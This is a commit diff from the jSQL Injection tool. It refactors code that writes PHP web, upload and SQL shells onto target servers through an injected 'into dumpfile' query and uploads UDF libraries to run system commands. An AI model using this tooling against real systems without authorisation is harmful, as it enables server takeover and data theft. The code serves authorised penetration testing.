Skip to content

Commit 6e6650b

Browse files
committed
Add exploit with PHP PDO
- Restore build jdk11 - Fix sonar issues
1 parent da7beb1 commit 6e6650b

33 files changed

+359
-453
lines changed

.github/workflows/build-jdk11.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ jobs:
1010
name: Test view on Docker
1111
runs-on: ubuntu-latest
1212
env:
13-
JSQL_DOCKERFILE: 3.6.2-jdk-12
13+
JSQL_DOCKERFILE: 3.8.1-jdk-11-slim
1414
MAVEN_NASHORN: -Dnashorn.args=--no-deprecation-warning
1515
MAVEN_BYTEBUDDY: ""
1616
DOCKER_RESOURCES: ${{ inputs.DOCKER_RESOURCES }}

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,8 @@ Read about jSQL [features](https://github.com/ron190/jsql-injection/wiki/Feature
2020

2121
For programmers, access the generated [Maven reports](https://ron190.github.io/jsql-injection/site/) and [Sonar analysis](https://sonarcloud.io/dashboard?id=ron190%3Ajsql-injection) to analyze internal metrics, and open the [programming section](https://github.com/ron190/jsql-injection/wiki/Programming-jSQL) in the wiki for more details.
2222

23+
To implement new modules, refer to the [API documentation](https://ron190.github.io/jsql-injection/site/xref/index.html)
24+
2325
## Install
2426
First, install :coffee: [Java](http://java.com) 11 or up to version 23, then download the latest jSQL [release](https://github.com/ron190/jsql-injection/releases/) and double-click on the file `jsql-injection-v0.103.jar` to run the software.
2527

model/src/main/java/com/jsql/model/accessible/ResourceAccess.java

Lines changed: 60 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,10 @@
2626
import org.apache.logging.log4j.LogManager;
2727
import org.apache.logging.log4j.Logger;
2828

29-
import java.io.*;
29+
import java.io.File;
30+
import java.io.FileInputStream;
31+
import java.io.IOException;
32+
import java.io.InputStream;
3033
import java.net.URI;
3134
import java.net.URLEncoder;
3235
import java.net.http.HttpHeaders;
@@ -40,9 +43,12 @@
4043
import java.nio.file.Paths;
4144
import java.time.Duration;
4245
import java.util.*;
43-
import java.util.concurrent.*;
44-
import java.util.function.BiConsumer;
46+
import java.util.concurrent.CompletionService;
47+
import java.util.concurrent.ExecutionException;
48+
import java.util.concurrent.ExecutorCompletionService;
49+
import java.util.concurrent.ExecutorService;
4550
import java.util.function.BiFunction;
51+
import java.util.function.BiPredicate;
4652
import java.util.regex.Pattern;
4753

4854
/**
@@ -179,45 +185,61 @@ public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int ta
179185
}
180186

181187
public String createExploitWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMethod exploitMethod) throws JSqlException {
182-
BiConsumer<String, String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
188+
BiFunction<String, String, String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
183189
var request = new Request();
184190
request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
185191
request.setParameters(urlSuccess);
186192
this.injectionModel.sendToViews(request);
193+
return urlSuccess;
187194
};
188195
return this.createExploit(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMethod);
189196
}
190197

191198
public void createExploitUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMethod exploitMethod, File fileToUpload) throws JSqlException {
192-
BiConsumer<String, String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
199+
BiFunction<String, String, String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
193200
try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
194201
HttpResponse<String> result = this.upload(fileToUpload, urlSuccess, streamToUpload);
195202
if (result.body().contains(DataAccess.LEAD + "y")) {
196203
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Upload successful: ack received for {}{}", pathExploit, fileToUpload.getName());
197204
} else {
198205
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Upload failure: missing ack for {}{}", pathExploit, fileToUpload.getName());
199206
}
200-
} catch (IOException | JSqlException | InterruptedException e) {
207+
} catch (InterruptedException e) {
208+
LOGGER.log(LogLevelUtil.IGNORE, e, e);
209+
Thread.currentThread().interrupt();
210+
} catch (IOException | JSqlException e) {
201211
throw new JSqlRuntimeException(e);
202212
}
213+
return urlSuccess;
203214
};
204215
this.createExploit(pathExploit, urlExploit, "exploit.upl", "upl.php", biFuncGetRequest, pathNetshare, exploitMethod);
205216
}
206217

207218
public String createExploitSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMethod exploitMethod, String username, String password) throws JSqlException {
208-
BiConsumer<String, String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
209-
var request = new Request();
210-
request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
211-
request.setParameters(urlSuccess, username, password);
212-
this.injectionModel.sendToViews(request);
219+
BiFunction<String, String, String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
220+
var resultQuery = this.runSqlShell("select 1337", null, urlSuccess, username, password, false);
221+
if (resultQuery != null && resultQuery.contains("| 1337 |")) {
222+
var request = new Request();
223+
request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
224+
request.setParameters(urlSuccess, username, password);
225+
this.injectionModel.sendToViews(request);
226+
return urlSuccess;
227+
}
228+
return StringUtils.EMPTY;
213229
};
214-
// todo PDO
215-
var nameExploitValidated = this.createExploit(pathExploit, urlExploit, "exploit.sql.php7", "sql.php", biFuncGetRequest, pathNetshare, exploitMethod);
216-
if (StringUtils.isEmpty(nameExploitValidated)) {
217-
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit failure with php7, retrying with lower version...");
218-
nameExploitValidated = this.createExploit(pathExploit, urlExploit, "exploit.sql", "sql.php", biFuncGetRequest, pathNetshare, exploitMethod);
230+
var urlSuccess = this.createExploit(pathExploit, urlExploit, "exploit.sql.mysqli", "sql.php", biFuncGetRequest, pathNetshare, exploitMethod);
231+
if (StringUtils.isEmpty(urlSuccess)) {
232+
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
233+
urlSuccess = this.createExploit(pathExploit, urlExploit, "exploit.sql.pdo", "sql.php", biFuncGetRequest, pathNetshare, exploitMethod);
234+
}
235+
if (StringUtils.isEmpty(urlSuccess)) {
236+
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
237+
urlSuccess = this.createExploit(pathExploit, urlExploit, "exploit.sql.mysql", "sql.php", biFuncGetRequest, pathNetshare, exploitMethod);
219238
}
220-
return nameExploitValidated;
239+
if (StringUtils.isEmpty(urlSuccess)) {
240+
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
241+
}
242+
return urlSuccess;
221243
}
222244

223245
/**
@@ -229,7 +251,7 @@ public String createExploit(
229251
String urlExploit,
230252
String keyPropertyExploit,
231253
String nameExploit,
232-
BiConsumer<String, String> biFuncGetRequest,
254+
BiFunction<String, String, String> biFuncGetRequest,
233255
String pathNetshareFolder,
234256
ExploitMethod exploitMethod
235257
) throws JSqlException {
@@ -244,7 +266,7 @@ public String createExploit(
244266
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
245267

246268
// outfile + binary: content corruption
247-
BiFunction<String, String, Boolean> funcConfirm = (String pathFolder, String nameFile) -> {
269+
BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
248270
try {
249271
String resultInjection = this.confirmExploit(pathFolder + nameFile);
250272
return resultInjection.contains(bodyExploit);
@@ -263,15 +285,15 @@ public String createExploit(
263285
pathNetshareFolder,
264286
nameExploit,
265287
pathRemoteFolder,
266-
funcConfirm
288+
biPredConfirm
267289
);
268290
} else if (exploitMethod == ExploitMethod.AUTO || exploitMethod == ExploitMethod.QUERY_BODY) {
269291
nameExploitValidated = this.injectionModel.getUdfAccess().byQueryBody(
270292
nbIndexesFound,
271293
pathRemoteFolder,
272294
nameExploit,
273295
UdfAccess.toHexChunks(bodyExploit.getBytes()),
274-
funcConfirm
296+
biPredConfirm
275297
);
276298
}
277299
if (StringUtils.isEmpty(nameExploitValidated) && exploitMethod == ExploitMethod.AUTO || exploitMethod == ExploitMethod.TEMP_TABLE) {
@@ -280,23 +302,22 @@ public String createExploit(
280302
UdfAccess.toHexChunks(bodyExploit.getBytes()),
281303
pathRemoteFolder + nameExploitRandom
282304
);
283-
if (funcConfirm.apply(pathRemoteFolder, nameExploitRandom)) {
305+
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
284306
nameExploitValidated = nameExploitRandom;
285307
}
286308
}
287309

288310
if (StringUtils.isEmpty(nameExploitValidated)) {
289-
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}]", pathRemoteFolder + nameExploitValidated);
311+
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
290312
return null;
291313
}
292314
nameExploit = nameExploitValidated;
293-
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}]", pathRemoteFolder + nameExploitValidated);
315+
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
294316

295-
this.checkUrls(urlExploit, nameExploit, biFuncGetRequest);
296-
return nameExploitValidated;
317+
return this.checkUrls(urlExploit, nameExploit, biFuncGetRequest);
297318
}
298319

299-
private void checkUrls(String urlExploit, String nameExploit, BiConsumer<String, String> biFuncGetRequest) {
320+
private String checkUrls(String urlExploit, String nameExploit, BiFunction<String, String, String> biFuncGetRequest) {
300321
String urlExploitFixed = urlExploit;
301322
if (!urlExploitFixed.isEmpty()) {
302323
urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
@@ -323,10 +344,11 @@ private void checkUrls(String urlExploit, String nameExploit, BiConsumer<String,
323344
}
324345
String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
325346
if (urlSuccess != null) {
326-
biFuncGetRequest.accept(nameExploit, urlSuccess);
347+
urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
327348
} else {
328349
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: URL not found");
329350
}
351+
return urlSuccess;
330352
}
331353

332354
private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
@@ -443,6 +465,10 @@ public String runWebShell(String command, UUID uuidShell, String urlExploit) {
443465
* @param password password [optional]
444466
*/
445467
public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
468+
return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
469+
}
470+
471+
public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isWithView) {
446472
String result = this.runCommandShell(String.format(
447473
"%s?q=%s&u=%s&p=%s",
448474
urlExploit,
@@ -465,10 +491,12 @@ public String runSqlShell(String command, UUID uuidShell, String urlExploit, Str
465491
result = result.replace("<SQLe>", StringUtils.EMPTY) + "\n";
466492
}
467493

468-
var request = new Request(); // Unfroze interface
469-
request.setMessage(Interaction.GET_EXPLOIT_SQL_RESULT);
470-
request.setParameters(uuidShell, result, command);
471-
this.injectionModel.sendToViews(request);
494+
if (isWithView) {
495+
var request = new Request(); // Unfroze interface
496+
request.setMessage(Interaction.GET_EXPLOIT_SQL_RESULT);
497+
request.setParameters(uuidShell, result, command);
498+
this.injectionModel.sendToViews(request);
499+
}
472500
return result;
473501
}
474502

model/src/main/java/com/jsql/model/accessible/UdfAccess.java

Lines changed: 24 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -22,8 +22,11 @@
2222
import java.nio.file.Path;
2323
import java.nio.file.Paths;
2424
import java.nio.file.StandardCopyOption;
25-
import java.util.*;
26-
import java.util.function.BiFunction;
25+
import java.util.ArrayList;
26+
import java.util.List;
27+
import java.util.Objects;
28+
import java.util.UUID;
29+
import java.util.function.BiPredicate;
2730

2831
public class UdfAccess {
2932

@@ -34,7 +37,7 @@ public class UdfAccess {
3437
private static final String NAME_TABLE = "temp";
3538

3639
private final InjectionModel injectionModel;
37-
private final BiFunction<String, String, Boolean> funcConfirm = (String pathRemoteFolder, String nameLibraryRandom) -> {
40+
private final BiPredicate<String, String> biPredConfirm = (String pathRemoteFolder, String nameLibraryRandom) -> {
3841
try {
3942
return this.buildSysEval(nameLibraryRandom);
4043
} catch (JSqlException e) {
@@ -62,13 +65,17 @@ public void createUdf(String pathNetshareFolder, ExploitMethod exploitMethod) th
6265
throw new JSqlException("Incorrect remote machine: unknown system");
6366
}
6467
var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
65-
var nameLibrary = versionOsMachine.contains("64")
66-
? isWin ? "64.dll" : "64.so"
67-
: isWin ? "32.dll" : "32.so";
68+
69+
String nameLibrary;
70+
if (versionOsMachine.contains("64")) {
71+
nameLibrary = isWin ? "64.dll" : "64.so";
72+
} else {
73+
nameLibrary = isWin ? "32.dll" : "32.so";
74+
}
6875

6976
pathPlugin = pathPlugin.replace("\\", "/");
7077
if (!pathPlugin.endsWith("/")) {
71-
pathPlugin = pathPlugin + "/";
78+
pathPlugin = String.format("%s%s", pathPlugin, "/");
7279
}
7380

7481
if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
@@ -85,7 +92,7 @@ public void createUdf(String pathNetshareFolder, ExploitMethod exploitMethod) th
8592
pathNetshareFolder,
8693
nameLibrary,
8794
pathPlugin,
88-
this.funcConfirm
95+
this.biPredConfirm
8996
);
9097
} else if (exploitMethod == ExploitMethod.AUTO || exploitMethod == ExploitMethod.QUERY_BODY) {
9198
if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
@@ -96,13 +103,13 @@ public void createUdf(String pathNetshareFolder, ExploitMethod exploitMethod) th
96103
pathPlugin,
97104
nameLibrary,
98105
UdfAccess.toHexChunks(nameLibrary),
99-
this.funcConfirm
106+
this.biPredConfirm
100107
);
101108
}
102109
if (StringUtils.isEmpty(isSuccess) && exploitMethod == ExploitMethod.AUTO || exploitMethod == ExploitMethod.TEMP_TABLE) {
103110
var nameLibraryRandom = RandomStringUtils.insecure().nextAlphabetic(8) +"-"+ nameLibrary;
104111
this.byTable(UdfAccess.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
105-
this.funcConfirm.apply(pathPlugin, nameLibraryRandom);
112+
this.biPredConfirm.test(pathPlugin, nameLibraryRandom);
106113
}
107114
}
108115

@@ -111,32 +118,31 @@ public String byQueryBody(
111118
String pathRemoteFolder,
112119
String nameExploit,
113120
List<String> hexChunks,
114-
BiFunction<String,String, Boolean> funcConfirm
121+
BiPredicate<String,String> biPredConfirm
115122
) {
116123
String nameExploitValidated = StringUtils.EMPTY;
117124
var pattern = " %s SELECT %s 0x%s into dumpfile '%s'";
118125

119-
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using query body and union...");
120126
var nameExploitRandom = RandomStringUtils.insecure().nextAlphabetic(8) +"-"+ nameExploit;
121127
this.injectionModel.injectWithoutIndex(String.format(pattern,
122128
"union",
123129
"'',".repeat(nbIndexesFound),
124130
String.join("", hexChunks),
125131
pathRemoteFolder + nameExploitRandom
126132
), "body#union-dump");
127-
if (funcConfirm.apply(pathRemoteFolder, nameExploitRandom)) {
133+
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
128134
nameExploitValidated = nameExploitRandom;
129135
}
130136
if (StringUtils.isEmpty(nameExploitValidated)) {
131-
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using query body and stack...");
137+
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
132138
nameExploitRandom = RandomStringUtils.insecure().nextAlphabetic(8) +"-"+ nameExploit;
133139
this.injectionModel.injectWithoutIndex(String.format(pattern,
134140
";",
135141
StringUtils.EMPTY,
136142
String.join("", hexChunks),
137143
pathRemoteFolder + nameExploitRandom
138144
), "body#stack-dump");
139-
if (funcConfirm.apply(pathRemoteFolder, nameExploitRandom)) {
145+
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
140146
nameExploitValidated = nameExploitRandom;
141147
}
142148
}
@@ -148,7 +154,7 @@ public String byNetshare(
148154
String pathNetshareFolder,
149155
String nameExploit,
150156
String pathRemoteFolder,
151-
BiFunction<String,String, Boolean> funcConfirm
157+
BiPredicate<String,String> biPredConfirm
152158
) {
153159
String nameExploitValidated = StringUtils.EMPTY;
154160
var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
@@ -162,7 +168,7 @@ public String byNetshare(
162168
pathShareEncoded + nameExploit,
163169
pathRemoteFolder + nameExploitRandom
164170
), "udf#share-union");
165-
if (funcConfirm.apply(pathRemoteFolder, nameExploitRandom)) {
171+
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
166172
nameExploitValidated = nameExploitRandom;
167173
}
168174
if (StringUtils.isEmpty(nameExploitValidated)) {
@@ -174,7 +180,7 @@ public String byNetshare(
174180
pathShareEncoded + nameExploit,
175181
pathRemoteFolder + nameExploitRandom
176182
), "udf#share-stack");
177-
if (funcConfirm.apply(pathRemoteFolder, nameExploitRandom)) {
183+
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
178184
nameExploitValidated = nameExploitRandom;
179185
}
180186
}

model/src/main/java/com/jsql/util/CookiesUtil.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ public boolean testParameters(boolean hasFoundInjection) {
2929
if (!this.injectionModel.getMediatorUtils().getPreferencesUtil().isCheckingAllCookieParam()) {
3030
return false;
3131
}
32-
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, I18nUtil.valueByKey("LOG_CHECKING") +" cookies...");
32+
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "{} cookies...", I18nUtil.valueByKey("LOG_CHECKING"));
3333
} else {
3434
return true;
3535
}

model/src/main/java/com/jsql/util/MultipartUtil.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ public MultipartUtil(InjectionModel injectionModel) {
2424

2525
public boolean testParameters(boolean hasFoundInjection) {
2626
if (!hasFoundInjection) {
27-
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, I18nUtil.valueByKey("LOG_CHECKING") +"Checking multipart...");
27+
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "{} multipart...", I18nUtil.valueByKey("LOG_CHECKING"));
2828
} else {
2929
return true;
3030
}

0 commit comments

Comments
 (0)